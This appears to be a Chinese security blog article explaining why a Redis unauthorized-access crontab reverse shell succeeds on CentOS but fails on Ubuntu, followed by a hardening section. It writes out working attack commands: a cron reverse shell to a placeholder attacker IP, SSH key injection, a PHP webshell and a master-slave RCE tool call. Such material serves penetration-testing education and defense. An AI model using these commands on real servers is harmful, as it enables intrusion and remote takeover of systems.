当前位置: 首页 > news >正文

CentOS vs Ubuntu:Redis未授权访问下,为什么任务计划反弹Shell在Ubuntu上会失败?

CentOS与Ubuntu在Redis漏洞利用中的关键差异解析

当安全研究人员尝试复现经典的Redis未授权访问漏洞时,常会遇到一个令人困惑的现象:同样的任务计划反弹Shell操作,在CentOS上顺利执行,却在Ubuntu系统上完全失效。这种差异背后隐藏着Linux发行版在权限机制和文件系统设计上的深层区别。

1. 任务计划反弹Shell的核心机制

Redis未授权访问漏洞允许攻击者通过redis-cli直接操作目标服务器的Redis服务。当Redis以root权限运行时,攻击者可以利用config set dirconfig set dbfilename命令修改Redis的持久化存储路径,然后通过save命令将恶意内容写入系统关键文件。

典型的任务计划反弹Shell操作流程如下:

# 攻击者VPS上启动监听 nc -lvnp 6666 # 通过redis-cli连接目标Redis服务 redis-cli -h 目标IP -p 6379 # 写入反弹Shell命令到crontab set payload "\n* * * * * bash -i >& /dev/tcp/攻击者IP/6666 0>&1\n" config set dir /var/spool/cron/ config set dbfilename root save

这个看似简单的过程,在不同Linux发行版上的表现却大相径庭。

2. 系统差异导致的执行失败

2.1 crontab文件路径与权限要求

CentOS和Ubuntu在crontab管理上存在以下关键区别:

特性CentOSUbuntu
crontab文件路径/var/spool/cron//var/spool/cron/crontabs/
文件权限要求644600
文件所有者root:rootroot:crontab

当Redis尝试写入crontab文件时:

  1. CentOS环境

    • Redis写入的文件默认权限为644
    • CentOS的cron服务接受644权限的文件
    • 反弹Shell成功执行
  2. Ubuntu环境

    • Redis写入的文件权限仍为644
    • Ubuntu的cron服务要求严格600权限
    • 系统会记录错误:"(root) INSECURE MODE (mode 0600 expected)"
    • 反弹Shell不会执行

2.2 Redis写入内容的兼容性问题

除了权限问题,Redis的SAVE命令在写入文件时还会引入额外的数据:

  • Redis版本信息头
  • 内部数据结构元数据
  • 可能存在的乱码字符

这些额外内容在不同系统上的处理方式:

REDIS0009� redis-ver5.0.7� redis-bits�@�ctime�m��used-mem�p� * * * * * bash -i >& /dev/tcp/1.2.3.4/6666 0>&1

CentOS的cron服务对这些"噪音"有较强的容错能力,而Ubuntu的cron实现则更为严格,会直接拒绝执行包含异常内容的计划任务。

3. 替代利用方案与系统适应性

当任务计划反弹Shell在Ubuntu上失效时,安全研究人员可以考虑以下替代方案:

3.1 SSH公钥写入技术

通过Redis写入SSH公钥的步骤:

  1. 本地生成SSH密钥对:

    ssh-keygen -t rsa -f ./redis_key
  2. 格式化公钥并写入Redis:

    (echo -e "\n\n"; cat redis_key.pub; echo -e "\n\n") > temp.txt cat temp.txt | redis-cli -h 目标IP -x set ssh_key
  3. 配置Redis保存路径:

    config set dir /root/.ssh/ config set dbfilename authorized_keys save

系统兼容性分析

  • 该方法在CentOS和Ubuntu上通常都有效
  • 要求Redis以root权限运行
  • SSH服务必须允许公钥认证

3.2 WebShell写入技术

当目标运行Web服务时,可尝试写入WebShell:

config set dir /var/www/html/ config set dbfilename shell.php set payload "<?php system($_GET['cmd']); ?>" save

注意事项

  • 需要知道Web目录的准确路径
  • Web服务器用户需要对目录有写权限
  • 文件内容可能被Redis元数据污染,需要特殊处理换行

3.3 主从复制RCE技术

针对Redis 4.x/5.x版本的主从复制RCE:

# 使用现成工具 python3 redis-master.py -r 目标IP -L 攻击者IP -f exp.so -c "whoami"

技术要点

  1. 攻击者搭建恶意Redis主节点
  2. 诱导目标Redis服务器作为从节点连接
  3. 通过主从同步传输恶意.so模块
  4. 在目标服务器加载模块执行命令

系统兼容性

  • 不受crontab权限限制影响
  • 需要特定Redis版本支持
  • 依赖外部模块加载功能

4. 防御策略与加固建议

针对Redis未授权访问漏洞,系统管理员应采取以下防护措施:

4.1 基础安全配置

  • 网络层防护

    • 修改默认6379端口
    • 配置防火墙限制访问来源IP
    • 避免Redis服务绑定在0.0.0.0
  • 服务层防护

    # 启用认证密码 requirepass 复杂密码 # 禁用高危命令 rename-command FLUSHALL "" rename-command CONFIG "" rename-command EVAL ""

4.2 系统级加固

  • 权限控制

    • 使用非root用户运行Redis服务
    • 配置适当的文件系统权限
      # Ubuntu下限制crontab目录权限 chmod 700 /var/spool/cron/crontabs chown root:crontab /var/spool/cron/crontabs
  • 入侵检测

    # 监控Redis关键目录的文件变化 auditctl -w /var/spool/cron/ -p wa -k cron_tamper auditctl -w /root/.ssh/ -p wa -k ssh_key_tamper

4.3 纵深防御体系

  1. 网络隔离

    • 将Redis服务部署在内网环境
    • 使用VPN或跳板机管理
  2. 行为监控

    • 记录Redis的所有CONFIG命令操作
    • 监控异常的SAVE操作
  3. 应急响应

    # 检查可疑的crontab条目 grep -r "bash -i" /var/spool/cron/ # 检查异常的SSH公钥 ls -la /root/.ssh/authorized_keys

在实际渗透测试中,遇到Ubuntu系统时,我通常会先尝试SSH公钥写入,如果失败再转向WebShell方案。对于加固过的系统,主从复制RCE往往是最后的选择,但成功率高度依赖Redis版本。

http://www.cnnetsun.cn/news/2686943.html

相关文章:

  • 基于AI与向量数据库构建数字人格:技术实现与伦理思考
  • SI9000损耗仿真实操:从FR4到高速板材,你的5英寸走线在10GHz下“掉血”多少?
  • 告别Docker Hub抽风:手把手教你用SSH给群晖NAS安装ddns-go动态域名
  • Downkyi技术深度解析:如何实现B站视频高效下载的架构设计
  • JDK 安装流程
  • MySQL连接串参数详解:除了allowMultiQueries,这些配置项也能帮你解决Spring Boot里的奇葩数据库错误
  • 前端 Bootstrap 框架基本介绍与使用
  • 小白配置Vscode Claude Code 插件免费使用deepseek-v4-pro模型
  • Vite 5升级踩坑记:告别CJS警告,手把手教你两种配置方案(含package.json与.mts文件详解)
  • eBPF与PSketch实现高效网络流量监控
  • 我要换窗户买谁家?避坑指南与靠谱选择
  • [开发说明书] 北斗定位ATGM336H-5N模块 STM32F103程序代码 正点原子Wifi模块小ESP8266 位置经纬度 高度传感器 上传到Onenet云平台数据显示
  • 真理做空机制:波普尔证伪主义的百年灾难与终结——基于科学史、学术生态与公共政策的跨学科实证研究
  • 我最近在做一个 AI 人格蒸馏的小产品,想听听大家的看法
  • 小伤口引发全身抽搐、窒息?JAMA最新文章提醒:破伤风并没有消失
  • 浏览器市场与用户画像分析-数据加工
  • 无人机红外数据集 深度学习框架 无人机高空红外检测系统pyqt5界面 无人机高空红外数据集 无人机高空红外行人车辆检测数据集
  • VSCode配置QT环境
  • 车载AI Agent Harness:行车安全与交互管控
  • 【AI问答】GO代码循环返值
  • 为什么在线视频工具能做到“无损裁剪”?技术原理与工具推荐
  • Socket、Servlet、Tomcat
  • 10. JavaArrayList 核心笔记
  • 鲁班猫4 5寸触摸屏映射修复
  • 800万条浏览器日志,如何加工成用户画像分析数据?看我教你用助睿ETL做浏览器行为分析
  • 用Python和OpenCV手把手教你从卫星图生成NDVI植被指数图(附完整代码)
  • 量子退火救星:subQUBO算法如何让经典计算机和量子机器协同工作?
  • 面试官:既然你用了原子类,那你知道CAS的工作原理是啥吗?
  • 从零到通话:Freepbx+SIP话机实战配置全记录(6001/6002分机互拨保姆级教程)
  • C语言多线程编程入门:用C11的<threads.h>和原子操作告别pthread的繁琐